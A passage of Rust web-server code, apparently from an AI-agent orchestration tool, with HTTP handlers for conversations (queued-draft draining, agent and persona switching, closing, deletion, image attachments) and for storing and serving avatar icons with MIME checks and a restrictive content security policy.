8953                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8954                let result = if live.parking {
8955                    Ok(None)
8956                } else {
8957                    talk::drain(&mut talk, &talks)
8958                };
8959                drop(live);
8960                Ok((talk, result))
8961            }
8962        })
8963        .await;
8964        let (next_talk, result) = match drained {
8965            Ok(drained) => drained,
8966            Err(e) => {
8967                tracing::warn!(
8968                    status = %e.status,
8969                    message = %e.message,
8970                    "talk {id} could not start queued-text drain"
8971                );
8972                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8973                turn.take()
8974                    .expect("held for the whole loop until released here")
8975                    .release(&mut live);
8976                break;
8977            }
8978        };
8979        talk = next_talk;
8980        let drained = match result {
8981            Ok(Some(drained)) => drained,
8982            Ok(None) => {
8983                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8984                if live.queued.get(&id).copied().unwrap_or(0) != observed {
8985                    continue;
8986                }
8987                turn.take()
8988                    .expect("held for the whole loop until released here")
8989                    .release(&mut live);
8990                break;
8991            }
8992            Err(e) => {
8993                tracing::warn!("talk {id} could not drain queued text: {e:#}");
8994                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8995                turn.take()
8996                    .expect("held for the whole loop until released here")
8997                    .release(&mut live);
8998                break;
8999            }
9000        };
9001        if let Some(started) = started.take() {
9002            let _ = started.send(true);
9003        }
9004        let responded = match turn.as_ref() {
9005            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9006            None => Err(anyhow::anyhow!("the turn guard was released")),
9007        };
9008        if let Err(e) = responded {
9009            tracing::warn!("talk {id} turn failed: {e:#}");
9010        }
9011    }
9012    drop(turn);
9013    if let Some(started) = started {
9014        let _ = started.send(false);
9015    }
9016}
9017
9018/// Clear a queued draft only if it remains exactly the one the caller saw.
9019async fn talk_pending_clear(
9020    State(ui): State<Arc<Ui>>,
9021    Path(id): Path<String>,
9022    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9023) -> ApiResult<Json<TalkView>> {
9024    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9025    blocking(move || {
9026        let id = resolve_talk(&ui.talks, &id)?;
9027        let mut talk = ui.talks.get(&id)?;
9028        if !talk.status.open() {
9029            return Err(ApiError::conflict(format!(
9030                "talk {} is {} and takes no more turns",
9031                talk.short(),
9032                talk.status.as_str()
9033            )));
9034        }
9035        if !talk::clear_pending_if_matches(
9036            &mut talk,
9037            &ui.talks,
9038            &body.expected_text,
9039            &body.expected_attachments,
9040        )? {
9041            return Err(ApiError::conflict(
9042                "queued message changed; reload it before clearing",
9043            ));
9044        }
9045        let thinking = ui.is_thinking(&talk.id);
9046        Ok(Json(TalkView::new(talk, thinking, &ui)))
9047    })
9048    .await
9049}
9050
9051/// Atomically edit a queued draft's text while preserving its attachments.
9052/// The snapshot fields make a concurrent queue or drain a conflict rather
9053/// than silently discarding either message.
9054async fn talk_pending_edit(
9055    State(ui): State<Arc<Ui>>,
9056    Path(id): Path<String>,
9057    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9058) -> ApiResult<Json<TalkView>> {
9059    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9060    let (view, reclaimed) = blocking({
9061        let ui = Arc::clone(&ui);
9062        move || {
9063            let id = resolve_talk(&ui.talks, &id)?;
9064            let mut talk = ui.talks.get(&id)?;
9065            if !talk.status.open() {
9066                return Err(ApiError::conflict(format!(
9067                    "talk {} is {} and takes no more turns",
9068                    talk.short(),
9069                    talk.status.as_str()
9070                )));
9071            }
9072            if !talk::edit_pending_message(
9073                &mut talk,
9074                &ui.talks,
9075                &body.text,
9076                &body.expected_text,
9077                &body.expected_attachments,
9078                body.message,
9079            )? {
9080                return Err(ApiError::conflict(
9081                    "queued message changed; reload it before editing",
9082                ));
9083            }
9084            let claim = match ui.begin_queued_talk_turn(&id)? {
9085                Some(turn_guard) => {
9086                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9087                    Some((talk.clone(), cfg, id.clone(), turn_guard))
9088                }
9089                None => None,
9090            };
9091            let thinking = ui.is_thinking(&id);
9092            Ok((TalkView::new(talk, thinking, &ui), claim))
9093        }
9094    })
9095    .await?;
9096    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9097        let talks = ui.talks.clone();
9098        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9099    }
9100    Ok(Json(view))
9101}
9102
9103/// The 409 for a talk that takes no more turns.
9104fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9105    if talk.status.open() {
9106        return Ok(());
9107    }
9108    Err(ApiError::conflict(format!(
9109        "talk {} is {} and takes no more turns",
9110        talk.short(),
9111        talk.status.as_str()
9112    )))
9113}
9114
9115/// The body of `POST /api/talks/{id}/agent`.
9116#[derive(Debug, Deserialize)]
9117struct TalkAgent {
9118    agent: String,
9119}
9120
9121/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9122/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9123/// start a turn on the old session between the check and the write; one that
9124/// arrives in that window finds the talk busy and becomes a draft.
9125async fn talk_agent(
9126    State(ui): State<Arc<Ui>>,
9127    Path(id): Path<String>,
9128    Json(body): Json<TalkAgent>,
9129) -> ApiResult<Json<TalkView>> {
9130    let id = {
9131        let ui = Arc::clone(&ui);
9132        blocking(move || resolve_talk(&ui.talks, &id)).await?
9133    };
9134    let repo = {
9135        let ui = Arc::clone(&ui);
9136        let id = id.clone();
9137        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9138    };
9139    let cfg = config_for(&repo).await?;
9140    // Refuse before taking the claim; see `talk_implementers`.
9141    {
9142        let ui = Arc::clone(&ui);
9143        let id = id.clone();
9144        let cfg = cfg.clone();
9145        let wanted = body.agent.clone();
9146        blocking(move || {
9147            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9148                .map_err(ApiError::bad_request_from)?;
9149            refuse_if_closed(&ui.talks.get(&id)?)
9150        })
9151        .await?;
9152    }
9153    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9154        return Err(ApiError::conflict(
9155            "a talk turn is running; change the agent once it has answered",
9156        ));
9157    };
9158    let switched = {
9159        let ui = Arc::clone(&ui);
9160        let id = id.clone();
9161        let cfg = cfg.clone();
9162        blocking(move || {
9163            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9164                .map_err(ApiError::bad_request_from)?;
9165            let mut talk = ui.talks.get(&id)?;
9166            if !talk.status.open() {
9167                return Err(ApiError::conflict(format!(
9168                    "talk {} is {} and takes no more turns",
9169                    talk.short(),
9170                    talk.status.as_str()
9171                )));
9172            }
9173            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9174            Ok(talk)
9175        })
9176        .await
9177    };
9178    // A `/say` that landed while this held the claim saw the talk busy and
9179    // left a durable draft, trusting the claim's owner to drain it. So the
9180    // claim is settled whatever the outcome. Release an empty draft's claim
9181    // before replying; queued drafts continue independently of the handler.
9182    let observed = ui.queued_generation(&id);
9183    let fresh = {
9184        let ui = Arc::clone(&ui);
9185        let id = id.clone();
9186        blocking(move || Ok(ui.talks.get(&id)?)).await
9187    };
9188    let draining = match fresh {
9189        Ok(talk) => {
9190            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9191        }
9192        Err(_) => false,
9193    };
9194    let talk = switched?;
9195    Ok(Json(TalkView::new(talk, draining, &ui)))
9196}
9197
9198/// The body of `POST /api/talks/{id}/persona`.
9199#[derive(Debug, Deserialize)]
9200struct TalkPersona {
9201    persona: String,
9202}
9203
9204/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9205/// like [`talk_agent`]: the turn guard is held for the change and always handed
9206/// to `drain_loop`, so a draft left meanwhile is not stranded.
9207async fn talk_persona(
9208    State(ui): State<Arc<Ui>>,
9209    Path(id): Path<String>,
9210    Json(body): Json<TalkPersona>,
9211) -> ApiResult<Json<TalkView>> {
9212    let id = {
9213        let ui = Arc::clone(&ui);
9214        blocking(move || resolve_talk(&ui.talks, &id)).await?
9215    };
9216    let repo = {
9217        let ui = Arc::clone(&ui);
9218        let id = id.clone();
9219        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9220    };
9221    let cfg = config_for(&repo).await?;
9222    // Refuse before taking the claim; see `talk_implementers`.
9223    {
9224        let ui = Arc::clone(&ui);
9225        let id = id.clone();
9226        let cfg = cfg.clone();
9227        let wanted = body.persona.clone();
9228        blocking(move || {
9229            if persona::find(&cfg.talk.personas, &wanted).is_none() {
9230                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9231            }
9232            refuse_if_closed(&ui.talks.get(&id)?)
9233        })
9234        .await?;
9235    }
9236    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9237        return Err(ApiError::conflict(
9238            "a talk turn is running; change the persona once it has answered",
9239        ));
9240    };
9241    let switched = {
9242        let ui = Arc::clone(&ui);
9243        let id = id.clone();
9244        let cfg = cfg.clone();
9245        blocking(move || {
9246            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9247                return Err(ApiError::bad_request(format!(
9248                    "unknown persona `{}`",
9249                    body.persona
9250                )));
9251            };
9252            let mut talk = ui.talks.get(&id)?;
9253            if !talk.status.open() {
9254                return Err(ApiError::conflict(format!(
9255                    "talk {} is {} and takes no more turns",
9256                    talk.short(),
9257                    talk.status.as_str()
9258                )));
9259            }
9260            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9261            Ok(talk)
9262        })
9263        .await
9264    };
9265    // As in `talk_agent`: settle the claim before replying, even on refusal.
9266    let observed = ui.queued_generation(&id);
9267    let fresh = {
9268        let ui = Arc::clone(&ui);
9269        let id = id.clone();
9270        blocking(move || Ok(ui.talks.get(&id)?)).await
9271    };
9272    let draining = match fresh {
9273        Ok(talk) => {
9274            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9275        }
9276        Err(_) => false,
9277    };
9278    let talk = switched?;
9279    Ok(Json(TalkView::new(talk, draining, &ui)))
9280}
9281
9282/// The body of `POST /api/talks/{id}/implementers`.
9283#[derive(Debug, Deserialize)]
9284struct TalkImplementers {
9285    implementers: u8,
9286}
9287
9288/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
9289/// like [`talk_agent`]: the turn guard is held for the change and always handed
9290/// to `drain_loop`, so a draft left meanwhile is not stranded.
9291async fn talk_implementers(
9292    State(ui): State<Arc<Ui>>,
9293    Path(id): Path<String>,
9294    Json(body): Json<TalkImplementers>,
9295) -> ApiResult<Json<TalkView>> {
9296    let id = {
9297        let ui = Arc::clone(&ui);
9298        blocking(move || resolve_talk(&ui.talks, &id)).await?
9299    };
9300    let repo = {
9301        let ui = Arc::clone(&ui);
9302        let id = id.clone();
9303        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9304    };
9305    let cfg = config_for(&repo).await?;
9306    // Refuse a request that cannot succeed before taking the claim: a claim
9307    // taken for it is handed to `drain_loop`, which holds the talk busy for a
9308    // moment, so a refusal would make the next request see "busy" instead of
9309    // its own answer. The checks after the claim stay the ones that decide.
9310    {
9311        let ui = Arc::clone(&ui);
9312        let id = id.clone();
9313        let cfg = cfg.clone();
9314        let wanted = body.implementers;
9315        blocking(move || {
9316            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9317            refuse_if_closed(&ui.talks.get(&id)?)
9318        })
9319        .await?;
9320    }
9321    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9322        return Err(ApiError::conflict(
9323            "a talk turn is running; change the implementers once it has answered",
9324        ));
9325    };
9326    let switched = {
9327        let ui = Arc::clone(&ui);
9328        let id = id.clone();
9329        let cfg = cfg.clone();
9330        blocking(move || {
9331            let chosen =
9332                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
9333            let mut talk = ui.talks.get(&id)?;
9334            if !talk.status.open() {
9335                return Err(ApiError::conflict(format!(
9336                    "talk {} is {} and takes no more turns",
9337                    talk.short(),
9338                    talk.status.as_str()
9339                )));
9340            }
9341            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9342            Ok(talk)
9343        })
9344        .await
9345    };
9346    // As in `talk_agent`: settle the claim before replying, even on refusal.
9347    let observed = ui.queued_generation(&id);
9348    let fresh = {
9349        let ui = Arc::clone(&ui);
9350        let id = id.clone();
9351        blocking(move || Ok(ui.talks.get(&id)?)).await
9352    };
9353    let draining = match fresh {
9354        Ok(talk) => {
9355            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9356        }
9357        Err(_) => false,
9358    };
9359    let talk = switched?;
9360    Ok(Json(TalkView::new(talk, draining, &ui)))
9361}
9362
9363/// `POST /api/talks/{id}/close`.
9364async fn talk_close(
9365    State(ui): State<Arc<Ui>>,
9366    Path(id): Path<String>,
9367) -> ApiResult<Json<TalkView>> {
9368    blocking(move || {
9369        let id = resolve_talk(&ui.talks, &id)?;
9370        let mut talk = ui.talks.get(&id)?;
9371        talk::close(&mut talk, &ui.talks)?;
9372        let thinking = ui.is_thinking(&talk.id);
9373        Ok(Json(TalkView::new(talk, thinking, &ui)))
9374    })
9375    .await
9376}
9377
9378/// `POST /api/talks/{id}/reopen`.
9379async fn talk_reopen(
9380    State(ui): State<Arc<Ui>>,
9381    Path(id): Path<String>,
9382) -> ApiResult<Json<TalkView>> {
9383    blocking(move || {
9384        let id = resolve_talk(&ui.talks, &id)?;
9385        let mut talk = ui.talks.get(&id)?;
9386        talk::reopen(&mut talk, &ui.talks)?;
9387        let thinking = ui.is_thinking(&talk.id);
9388        Ok(Json(TalkView::new(talk, thinking, &ui)))
9389    })
9390    .await
9391}
9392
9393/// `DELETE /api/talks/{id}`.
9394///
9395/// Removes the conversation's record and artifacts outright, unlike
9396/// [`talk_close`] which keeps the record as history. A turn already in
9397/// flight is not refused here the way [`run_delete`] refuses a live run:
9398/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
9399/// under [`Talks::guard`], that the record they are about to write back is
9400/// still there, so a delete racing a turn is safe without this route having
9401/// to know a turn is running at all.
9402async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9403    blocking(move || {
9404        let id = resolve_talk(&ui.talks, &id)?;
9405        ui.talks.remove(&id)?;
9406        Ok(StatusCode::NO_CONTENT)
9407    })
9408    .await
9409}
9410
9411fn talk_ids(root: &FsPath) -> Vec<String> {
9412    std::fs::read_dir(root)
9413        .into_iter()
9414        .flatten()
9415        .flatten()
9416        .filter_map(|e| {
9417            let path = e.path();
9418            if path.extension().is_some_and(|ext| ext == "json") {
9419                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9420            } else {
9421                None
9422            }
9423        })
9424        .collect()
9425}
9426
9427/// Expand an id or short id to exactly one talk id.
9428fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9429    if plain_record_id(id) && store.path_of(id).is_file() {
9430        return Ok(id.to_owned());
9431    }
9432    pick(talk_ids(store.root()), id, "talk")
9433}
9434
9435/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
9436/// future `talk-say`.
9437async fn talk_attachment_post(
9438    State(ui): State<Arc<Ui>>,
9439    Path(id): Path<String>,
9440    headers: HeaderMap,
9441    body: Bytes,
9442) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9443    let mime = validate_attachment(&headers, &body)?;
9444    let name = filename_header(&headers);
9445    let data = body.to_vec();
9446    blocking(move || {
9447        let id = resolve_talk(&ui.talks, &id)?;
9448        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9449        Ok((StatusCode::CREATED, Json(att)))
9450    })
9451    .await
9452}
9453
9454/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
9455/// `<img>` tag in the transcript.
9456async fn talk_attachment_get(
9457    State(ui): State<Arc<Ui>>,
9458    Path((id, att)): Path<(String, String)>,
9459) -> ApiResult<Response> {
9460    blocking(move || {
9461        let id = resolve_talk(&ui.talks, &id)?;
9462        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9463            return Err(ApiError::not_found(format!(
9464                "talk {id} has no attachment `{att}`"
9465            )));
9466        };
9467        Ok(attachment_response(&meta.mime, data))
9468    })
9469    .await
9470}
9471
9472/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
9473/// the icon setting, so changing it changes the URL.
9474fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9475    let id = avatar_encode(&p.id);
9476    format!(
9477        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9478        persona_icon::fingerprint(
9479            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9480        )
9481    )
9482}
9483
9484#[derive(Debug, Default, Deserialize)]
9485struct AvatarQuery {
9486    persona: Option<String>,
9487    /// Set by the page after the first load failed: skip the `icon`.
9488    builtin: Option<String>,
9489}
9490
9491/// Served with every built-in avatar: it is an image, so nothing else may run.
9492const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9493
9494fn builtin_avatar(id: &str) -> Response {
9495    svg_avatar(persona_icon::builtin_svg(id))
9496}
9497
9498async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9499    raster_or_builtin(
9500        read_icon_file(&avatar_setting_path(&ui.home, None))
9501            .filter(|_| q.builtin.is_none())
9502            .as_deref(),
9503        persona_icon::operator_svg(),
9504    )
9505}
9506
9507fn svg_avatar(svg: &'static str) -> Response {
9508    (
9509        [
9510            (header::CONTENT_TYPE, "image/svg+xml"),
9511            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9512            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9513            (header::CACHE_CONTROL, "no-cache"),
9514        ],
9515        svg,
9516    )
9517        .into_response()
9518}
9519
9520fn avatar_encode(value: &str) -> String {
9521    value
9522        .bytes()
9523        .map(|b| {
9524            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9525                char::from(b).to_string()
9526            } else {
9527                format!("%{b:02X}")
9528            }
9529        })
9530        .collect()
9531}
9532
9533// Display-only overrides live outside configuration and conversation records.
9534fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9535    let Some(id) = persona else {
9536        return home.join("avatars/operator.data");
9537    };
9538    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9539    let mut path = home.join("avatars/personas");
9540    for chunk in encoded.as_bytes().chunks(100) {
9541        path.push(std::str::from_utf8(chunk).expect("hex"));
9542    }
9543    path.join("icon.data")
9544}
9545
9546fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9547    match read_icon_file(&avatar_setting_path(home, Some(id))) {
9548        Some(value) if value == "builtin" => Some(String::new()),
9549        Some(value) => Some(value),
9550        None => configured.map(str::to_owned),
9551    }
9552}
9553
9554fn operator_icon_url(home: &FsPath) -> String {
9555    format!(
9556        "/avatars/operator.svg?v={}",
9557        persona_icon::fingerprint(
9558            read_icon_file(&avatar_setting_path(home, None))
9559                .as_deref()
9560                .or(Some(persona_icon::operator_svg()))
9561        )
9562    )
9563}
9564
9565fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9566    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9567        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9568            attachment_response(mime, bytes)
9569        }
9570        _ => svg_avatar(builtin),
9571    };
9572    response
9573        .headers_mut()
9574        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9575    response
9576}
9577
9578#[derive(Default, Deserialize)]
9579struct AvatarSettingsQuery {
9580    repo: Option<PathBuf>,
9581    persona: Option<String>,
9582    builtin: Option<String>,
9583    inherit: Option<String>,
9584}
9585
9586fn avatar_settings_specs(
9587    ui: &Ui,
9588    repo: Option<PathBuf>,
9589) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9590    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9591    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9592        .map(|cfg| cfg.talk.personas)
9593        .unwrap_or_default();
9594    Ok((repo, specs))
9595}
9596
9597fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9598    let Ok(entries) = std::fs::read_dir(path) else {
9599        return;
9600    };
9601    for entry in entries.flatten() {
9602        let name = entry.file_name().to_string_lossy().into_owned();
9603        if name == "icon.data" {
9604            let bytes: Option<Vec<u8>> = prefix
9605                .as_bytes()
9606                .chunks(2)
9607                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9608                .collect();
9609            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9610                out.push(id);
9611            }
9612        } else if name.len() <= 100
9613            && !name.is_empty()
9614            && name.bytes().all(|b| b.is_ascii_hexdigit())
9615            && entry.file_type().is_ok_and(|t| t.is_dir())
9616        {
9617            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9618        }
9619    }
9620}
9621
9622async fn avatar_settings_get(
9623    State(ui): State<Arc<Ui>>,
9624    Query(q): Query<AvatarSettingsQuery>,
9625) -> ApiResult<Json<serde_json::Value>> {
9626    blocking(move || {
9627        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9628        let mut catalog = persona::catalog(&specs);
9629        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9630        let mut saved = Vec::new();
9631        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9632        for id in saved {
9633            if !catalog.iter().any(|p| p.id == id) {
9634                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9635            }
9636        }
9637        let personas: Vec<_> = catalog.iter().map(|p| {
9638            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9639            let override_state = match saved.as_deref() {
9640                Some("builtin") => "builtin",
9641                Some(_) => "custom",
9642                None => "inherit",
9643            };
9644            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9645            serde_json::json!({"id":p.id,"name":p.name,
9646                "override_state":override_state,"has_config_icon":p.icon.is_some(),
9647                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9648                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9649        }).collect();
9650        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9651    }).await
9652}
9653
9654async fn settings_persona_avatar(
9655    State(ui): State<Arc<Ui>>,
9656    Query(q): Query<AvatarSettingsQuery>,
9657) -> ApiResult<Response> {
9658    blocking(move || {
9659        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9660        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9661        let found = persona::find(&specs, id);
9662        let icon =
9663            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9664        Ok(raster_or_builtin(
9665            icon.as_deref().filter(|_| q.builtin.is_none()),
9666            persona_icon::builtin_svg(id),
9667        ))
9668    })
9669    .await
9670}
9671
9672fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9673    if q.persona
9674        .as_ref()
9675        .is_some_and(|p| p.is_empty() || p.len() > 4096)
9676    {
9677        return Err(ApiError::bad_request("invalid persona id"));
9678    }
9679    Ok(())
9680}
9681
9682async fn avatar_settings_put(
9683    State(ui): State<Arc<Ui>>,
9684    Query(q): Query<AvatarSettingsQuery>,
9685    Json(upload): Json<MagiIconUpload>,
9686) -> ApiResult<Json<serde_json::Value>> {
9687    blocking(move || {
9688        validate_avatar_target(&q)?;
9689        save_icon_file(
9690            &avatar_setting_path(&ui.home, q.persona.as_deref()),
9691            &upload.icon,
9692        )
9693        .map_err(ApiError::bad_request_from)?;
9694        Ok(Json(serde_json::json!({"saved":true})))
9695    })
9696    .await
9697}
9698
9699async fn avatar_settings_delete(
9700    State(ui): State<Arc<Ui>>,
9701    Query(q): Query<AvatarSettingsQuery>,
9702) -> ApiResult<Json<serde_json::Value>> {
9703    blocking(move || {
9704        validate_avatar_target(&q)?;
9705        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9706        if q.persona.is_some() && q.inherit.is_none() {
9707            atomic_icon_write(&path, "builtin")?;
9708        } else {
9709            match std::fs::remove_file(path) {
9710                Ok(()) => (),
9711                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9712                Err(e) => return Err(anyhow::Error::from(e).into()),
9713            }
9714        }
9715        Ok(Json(serde_json::json!({"saved":true})))
9716    })
9717    .await
9718}
9719
9720// The global MAGI icon is deliberately independent of repository configuration.
9721fn magi_icon_path(home: &FsPath) -> PathBuf {
9722    home.join("magi-icon.data")
9723}
9724
9725fn read_magi_icon(home: &FsPath) -> Option<String> {
9726    read_icon_file(&magi_icon_path(home))
9727}
9728
9729fn read_icon_file(path: &FsPath) -> Option<String> {
9730    let metadata = std::fs::metadata(path).ok()?;
9731    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
9732        return None;
9733    }
9734    let file = std::fs::File::open(path).ok()?;
9735    use std::io::Read;
9736    let mut text = String::new();
9737    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
9738        .read_to_string(&mut text)
9739        .ok()?;
9740    if text.len() > persona_icon::ICON_MAX_BYTES {
9741        return None;
9742    }
9743    if text == "builtin" {
9744        return Some(text);
9745    }
9746    validate_uploaded_icon(&text).ok()?;
9747    Some(text)
9748}
9749
9750fn magi_icon_url(home: &FsPath) -> String {
9751    format!(
9752        "/avatars/magi?v={}",
9753        persona_icon::fingerprint(read_magi_icon(home).as_deref())
9754    )
9755}
9756
9757async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
9758    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
9759}
9760
9761#[derive(Deserialize)]
9762struct MagiIconUpload {
9763    icon: String,
9764}
9765
9766fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
9767    save_icon_file(&magi_icon_path(home), icon)
9768}
9769
9770fn validate_uploaded_icon(icon: &str) -> Result<()> {
9771    if !icon.starts_with("data:") {
9772        anyhow::bail!("upload a raster image");
9773    }
9774    let (mime, bytes) = persona_icon::load(icon)?;
9775    if sniffed_mime(&bytes) != Some(mime) {
9776        anyhow::bail!("image content does not match its type");
9777    }
9778    Ok(())
9779}
9780
9781fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
9782    validate_uploaded_icon(icon)?;
9783    atomic_icon_write(path, icon)
9784}
9785
9786fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
9787    let home = path.parent().expect("icon parent");
9788    std::fs::create_dir_all(home)?;
9789    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
9790    let temp = home.join(format!(".magi-icon-{token}.tmp"));
9791    let result = (|| -> Result<()> {
9792        use std::io::Write;
9793        let mut file = std::fs::OpenOptions::new()
9794            .write(true)
9795            .create_new(true)
9796            .open(&temp)?;
9797        file.write_all(icon.as_bytes())?;
9798        file.sync_all()?;
9799        std::fs::rename(&temp, path)?;
9800        Ok(())
9801    })();
9802    let _ = std::fs::remove_file(temp);
9803    result?;
9804    Ok(())
9805}
9806
9807async fn magi_icon_put(
9808    State(ui): State<Arc<Ui>>,
9809    Json(upload): Json<MagiIconUpload>,
9810) -> ApiResult<Json<serde_json::Value>> {
9811    blocking(move || {
9812        if !upload.icon.starts_with("data:") {
9813            return Err(ApiError::bad_request("upload a raster image"));
9814        }
9815        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
9816        if sniffed_mime(&bytes) != Some(mime) {
9817            return Err(ApiError::bad_request(
9818                "image content does not match its type",
9819            ));
9820        }
9821        save_magi_icon(&ui.home, &upload.icon)?;
9822        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9823    })
9824    .await
9825}
9826
9827async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
9828    blocking(move || {
9829        match std::fs::remove_file(magi_icon_path(&ui.home)) {
9830            Ok(()) => (),
9831            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9832            Err(e) => return Err(anyhow::Error::from(e).into()),
9833        }
9834        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9835    })
9836    .await
9837}
9838
9839async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9840    let icon = (q.builtin.is_none())
9841        .then(|| read_magi_icon(&ui.home))
9842        .flatten();
9843    let mut response = match icon
9844        .as_deref()
9845        .and_then(|icon| persona_icon::load(icon).ok())
9846    {
9847        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9848            attachment_response(mime, bytes)
9849        }
9850        _ => svg_avatar(persona_icon::magi_svg()),
9851    };
9852    response
9853        .headers_mut()
9854        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9855    response
9856}
9857
9858/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
9859/// operator's raster `icon` when it resolves and its bytes agree with its
9860/// type, the built-in SVG otherwise. Display only; every failure is a warning
9861/// and the built-in avatar, never an error response.
9862async fn talk_avatar(
9863    State(ui): State<Arc<Ui>>,
9864    Path(id): Path<String>,
9865    Query(q): Query<AvatarQuery>,
9866) -> ApiResult<Response> {
9867    blocking(move || {
9868        let id = resolve_talk(&ui.talks, &id)?;
9869        let talk = ui.talks.get(&id)?;
9870        let wanted = q
9871            .persona
